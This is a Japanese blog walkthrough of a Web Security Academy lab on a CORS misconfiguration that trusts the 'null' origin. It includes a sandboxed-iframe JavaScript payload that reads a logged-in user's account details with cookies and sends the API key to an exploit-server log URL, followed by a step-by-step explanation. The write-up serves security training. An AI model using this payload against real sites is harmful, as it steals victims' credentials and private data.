Lab: CORS vulnerability with trusted null origin をやってみた

WebSecurityAcademyのCORSのLabを。

今回は、「CORS vulnerability with trusted null origin」を。

 

お題としては、、

この Web サイトには、 安全でないCORS 「null」オリジンを信頼するという点で、 構成が採用されています。

ラボを解決するには、CORS を使用して管理者の API キーを取得し、そのコードをエクスプロイト サーバーにアップロードする JavaScript を作成します。 管理者の API キーを正常に送信すると、ラボは解決されます。

次の認証情報を使用して自分のアカウントにログインできます。 wiener:peter

 

まずはサイトにアクセスし、ログインを。

 

home画面

 

login画面 APIが表示されている

 

Proxy history を見ていると、エンドポイント:GET /accountDetails のレスポンスに「Access-Control-Allow-Credentials」が表示されており。

 

 

試しに、リクエストに「Origin: null」を追加してみて。

 

 

しっかりAccess-Control-Allow-Origin: null と反映されていて。

これはシステムのホワイトリストにnull オリジンが含まれていて。

 

exploitサーバーへアクセスし、以下のScriptを追加し。

 

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0aba00be03e523278280e23d007e00a3.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='https://exploit-0a2a00c0033d23db82b6e1f901e40088.exploit-server.net/log?key='+this.responseText;};
</script>"></iframe>

 

ちなみにこのJavascript は、、

 

 

  1. このコードが含まれるページにアクセスすると、JavaScriptが自動的に実行され

  2. XMLHttpRequestを使って、https://0aba00be03e523278280e23d007e00a3.web-security-academy.net/accountDetails というURLに非同期的なGETリクエストを送り。

  3. req.withCredentials = true;は、リクエストにCookieを含めるように指示して。これは、攻撃者がユーザーのセッション情報を利用してそのユーザーの代わりにアクションを実行することを意図しています(例: ユーザーがログインしている場合、そのユーザーの権限で情報を取得する)。

  4. リクエストが成功すると、reqListener関数が呼び出されます。

  5. この関数内で、取得したデータ(this.responseText)をhttps://exploit-0a2a00c0033d23db82b6e1f901e40088.exploit-server.net/log?key=というURLのクエリパラメータに追加してリダイレクト。これにより、取得したデータが攻撃者のサイトに送られ、記録されることが意図されていて。

 

 

こんな感じで。

 

Storeし、DeliverするとAccess log にAPI Keyが表示され。

 

 

Decode して、

 

 

クリアーできた。

 

 

ほなほな。